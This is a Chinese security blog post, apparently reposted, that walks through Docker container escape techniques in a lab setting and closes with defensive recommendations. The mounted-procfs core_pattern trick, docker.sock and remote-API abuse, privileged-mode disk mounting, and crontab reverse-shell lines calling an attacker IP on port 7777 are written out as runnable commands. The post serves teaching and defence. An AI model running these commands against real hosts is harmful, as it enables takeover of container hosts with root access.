Docker逃逸技法总结 | 50期

admin 2025年5月26日20:19:01评论17 views字数 4681阅读15分36秒阅读模式
Docker逃逸技法总结 | 50期

Docker逃逸技法总结

云安全

Docker相关安全风险更多集中在Docker逃逸方面

和基础的后渗透思路一样,在获取docker的权限后需要对docker进行信息搜集,判断是否具有满足docker逃逸的条件

判断是否为容器环境

在之前的文章中也提到过,可以通过查看cgroup信息等方法来判断。不过查看cgroup目录的方法似乎只对cgroup v1有用,所以推荐使用查看根目录.dockerenv的办法:

Docker逃逸技法总结 | 50期
Docker逃逸技法总结 | 50期

确认为容器环境之后,就可以查看是否具有满足逃逸的条件了,接下来从基础概念、环境搭建、信息搜集、漏洞利用等方面记录一下docker逃逸的一些tricks,当然如果比较懒,也可以试试开源的自动检测脚本

项目地址:https://github.com/teamssix/container-escape-check

挂载宿主机procfs逃逸

Docker逃逸技法总结 | 50期

基础概念

Docker逃逸技法总结 | 50期

procfs(/proc)是一个伪文件系统,反映了系统内进程以及其他组件的状态,其中有很多敏感文件

user namespace是linux的一项安全功能,允许在容器中映射和隔离用户ID

而在容器内默认启用root权限,且默认没有开启User Namespace时,容器中的root用户与宿主机的root用户UID会一致(均为0),在这种情况下,如果将procfs挂载到不受控的容器中,则可能会导致容器逃逸,这里运用到一个tricks:

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

Docker逃逸技法总结 | 50期

环境搭建

Docker逃逸技法总结 | 50期

创建容器并挂载/proc目录:

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

搭建完毕

Docker逃逸技法总结 | 50期

信息搜集

Docker逃逸技法总结 | 50期

如果发现了两个core_pattern文件,则可能就是挂载了宿主机的procfs:

find / -name core_pattern

Docker逃逸技法总结 | 50期
Docker逃逸技法总结 | 50期

漏洞利用

Docker逃逸技法总结 | 50期

找到当前容器在主机下的绝对路径:

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

Docker逃逸技法总结 | 50期

可以看到绝对路径为

Docker逃逸技法总结 | 50期

接下来安装vim和gcc:

apt-get update -y && apt-get install vim gcc -y

然后创建一个python脚本用于反弹shell:

Docker逃逸技法总结 | 50期

赋予执行权限:

chmod 777 .shell.py

将脚本写入到目标的proc目录下:

echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py rcore    " >  /host/proc/sys/kernel/core_pattern

Docker逃逸技法总结 | 50期

在攻击机上开启监听,接下来只需要让容器崩溃重启即可执行反弹shell脚本,使用程序实现:

Docker逃逸技法总结 | 50期

gcc编译:

gcc .crash.c -o .crash

执行编译后的程序使docker崩溃触发core dump,此时宿主机/proc/sys/kernel/core_pattern 中写入的.shell.py会被执行

Docker逃逸技法总结 | 50期

成功监听到宿主机的反弹shell

Docker逃逸技法总结 | 50期

至此,我们完成了一次挂载宿主机procfs逃逸

挂载docker socket逃逸

Docker逃逸技法总结 | 50期

基础概念

Docker逃逸技法总结 | 50期

Docker Socket (/var/run/docker.sock) 是 Docker 守护进程(dockerd) 与 客户端(如 docker CLI、Docker API 调用) 之间的主要通信接口,即用来与守护进程通信即查询信息或者下发命令

若容器挂载了/var/run/docker.sock,就相当于获得了 Docker CLI(命令行接口)的完全访问权限,通过 Docker API,可以在容器内部直接管理宿主机上的 Docker 进程,最终导致容器逃逸

Docker逃逸技法总结 | 50期

环境搭建

Docker逃逸技法总结 | 50期

创建容器并挂载/var/run/docker.sock文件:

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

进入容器并安装docker命令行客户端:

Docker逃逸技法总结 | 50期

至此,环境搭建完毕

Docker逃逸技法总结 | 50期

信息搜集

Docker逃逸技法总结 | 50期

直接检查是否存在/var/run/docker.sock文件:

ls -lah /var/run/docker.sock

若文件存在,则可能存在该漏洞

Docker逃逸技法总结 | 50期
Docker逃逸技法总结 | 50期

漏洞利用

Docker逃逸技法总结 | 50期

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部:

docker run -it -v /:/host ubuntu /bin/bash

此时我们可以发现/host目录就是宿主机的根目录:

Docker逃逸技法总结 | 50期

那么只需要chroot将其变为根目录一下就完成了逃逸:

chroot /host

Docker逃逸技法总结 | 50期

privileged特权模式逃逸

Docker逃逸技法总结 | 50期

基础知识

Docker逃逸技法总结 | 50期

当 Docker 容器以 --privileged 启动时,会获得以下权限:

  • 完全设备访问权限:可访问宿主机所有设备(如 /dev/sda或vda、/dev/tty 等)。

  • 绕过 Linux Capabilities 限制:默认容器仅保留部分权限(如 CAP_CHOWN、CAP_NET_BIND_SERVICE),特权模式赋予容器 所有 Capabilities(包括 CAP_SYS_ADMIN)。

  • 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制

在这种情况下,就有可能将宿主机文件系统挂载到容器内部造成逃逸

Docker逃逸技法总结 | 50期

环境搭建

Docker逃逸技法总结 | 50期

首先有一个普通用户 yuy0ung 并且加入了 docker 组:

Docker逃逸技法总结 | 50期
Docker逃逸技法总结 | 50期

在普通用户下使用--privileged=true创建一个容器

docker run --rm --privileged=true -it alpine

至此,环境搭建完毕

Docker逃逸技法总结 | 50期

信息搜集

Docker逃逸技法总结 | 50期

判断是否为特权模式:

cat /proc/self/status | grep CapEff

如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:

Docker逃逸技法总结 | 50期

可见容器确实是特权模式启动

Docker逃逸技法总结 | 50期

漏洞利用

Docker逃逸技法总结 | 50期

方法1

查看磁盘挂载设备:

fdisk -l

Docker逃逸技法总结 | 50期

可以看到有一个39.8G的磁盘/dev/vda3,这就是宿主机文件,将其挂载到/test目录:

mkdir /test && mount /dev/vda3 /test

此时已经成功挂载宿主机根目录:

Docker逃逸技法总结 | 50期

可以尝试读取任意文件:

Docker逃逸技法总结 | 50期

我们还可以尝试写定时任务来反弹shell:

echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/47.94.106.5/7777 0>&1"' >> /test/etc/crontab

Docker逃逸技法总结 | 50期

成功监听到宿主机root权限的反弹shell:

Docker逃逸技法总结 | 50期

至此,成功逃逸

方法2

和前面提到的方法类似,由于我们将宿主机根目录挂载到了/test,而我们的shell本身权限又是root,所以这里可以直接chroot将/test改为根目录:

chroot /test

Docker逃逸技法总结 | 50期

当然到这一步我们的方法不仅仅拘泥于我提到的,因为我们是高权限,所以也可以尝试在直接去添加新的root组用户并登录等操作

docker远程API未授权访问逃逸

Docker逃逸技法总结 | 50期

基础知识

Docker逃逸技法总结 | 50期

docker remote api 可以执行 docker 命令,若配置错误将其暴露在公网,攻击者可通过远程调用 Docker API直接管理容器,进而导致逃逸getshell

Docker逃逸技法总结 | 50期

环境搭建

Docker逃逸技法总结 | 50期

将docker守护进程监听在0.0.0.0:

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果有防火墙记得开放2375端口

至此,环境搭建完毕

Docker逃逸技法总结 | 50期

信息搜集

Docker逃逸技法总结 | 50期

直接访问服务器2375端口:

Docker逃逸技法总结 | 50期

如果响应为上图这样既表明存在漏洞

也可以使用我们的docker尝试远程调用该端口api:

docker -H tcp://x.x.x.x:2375 images

Docker逃逸技法总结 | 50期

可以看到我们成功调用该api并列出了该docker的镜像,即漏洞存在

Docker逃逸技法总结 | 50期

漏洞利用

Docker逃逸技法总结 | 50期

在这种情况下,我们相当于可以任意控制目标服务器的docker了,那么我们可以新运行一个容器,挂载点设置为服务器的根目录挂载至/yuy0ung目录下

docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/yuy0ung nginx:latest /bin/bash

Docker逃逸技法总结 | 50期

那么接下来的思路就和上面差不多了,chroot或者写一个定时任务即可实现逃逸:

  • chroot:

Docker逃逸技法总结 | 50期
  • 定时任务监听:

echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /yuy0ung/etc/crontab

Docker逃逸技法总结 | 50期

至此成功获取宿主机权限

内核漏洞逃逸

就是宿主机的内核存在漏洞的情况下的一些利用,简单来说就是提权类的内核漏洞会很可能导致容器逃逸

这些内核漏洞通常是一些CVE,以CVE-2016-5195(dirty cow)为例:

和权限提升时的dirty利用方法差不太多,之所以能实现逃逸,是因为docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机,其他的利用细节不再赘述,可以参考我的这篇文章:linux提权-内核提权

除了脏牛,还有很多内核漏洞导致的逃逸,这里列举一些就不细讲了:

  • CVE-2019-16884

  • CVE-2021-3493

  • CVE-2021-22555

  • CVE-2022-0492

  • CVE-2022-0847

  • CVE-2022-23222

docker用户组提权

该trick其实可以归类到liunx提权里面的,不过也涉及到了docker以及逃逸所以放到这里记录:

Docker逃逸技法总结 | 50期

基础概念

Docker逃逸技法总结 | 50期

Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能运行

Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,就相当于拥有了root 的访问权限

Docker逃逸技法总结 | 50期

环境搭建

Docker逃逸技法总结 | 50期

由于前面复现特权模式逃逸的时候,我们已经创建了一个yuy0ung用户并加入了docker组,所以切换到该用户即可进行复现:

Docker逃逸技法总结 | 50期

至此,环境搭建完毕

Docker逃逸技法总结 | 50期

信息搜集

Docker逃逸技法总结 | 50期

查看发现当前用户在docker组中:

Docker逃逸技法总结 | 50期

那么可以尝试docker用户组提权

Docker逃逸技法总结 | 50期

漏洞利用

Docker逃逸技法总结 | 50期

这里直接拉取一个针对上面情况的提权镜像,大致原理就是拉取镜像时将宿主机根目录挂载进docker,而docker启动后自动执行启动脚本chroot逃逸出来了,详细内容可以参考镜像的github:https://github.com/chrisfosterelli/dockerrootplease

docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

Docker逃逸技法总结 | 50期

可以看到直接就提升到root权限了,其实和前面的chroot逃逸差不多

针对docker逃逸的防御措施

针对上面提到的手段,可以有如下防御措施:

  • 即时更新docker

  • docker使用capabilities时需要遵循最小特权原则

  • 尽量在启动容器时使用--user选项指定容器以非特权用户身份运行

  • 不要直接挂载主机文件,尽量使用数据卷或共享文件系统

  • 将容器中的root用户映射为宿主机中的普通用户

  • 不要在容器中挂载docker socket,也不要将docker api配置到公网

参考链接

https://wiki.teamssix.com/CloudNative/

Docker逃逸技法总结 | 50期

道格安全|D0g3

关注我们

原文始发于微信公众号(道格安全):Docker逃逸技法总结 | 50期

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日20:19:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸技法总结 | 50期https://cn-sec.com/archives/4101050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息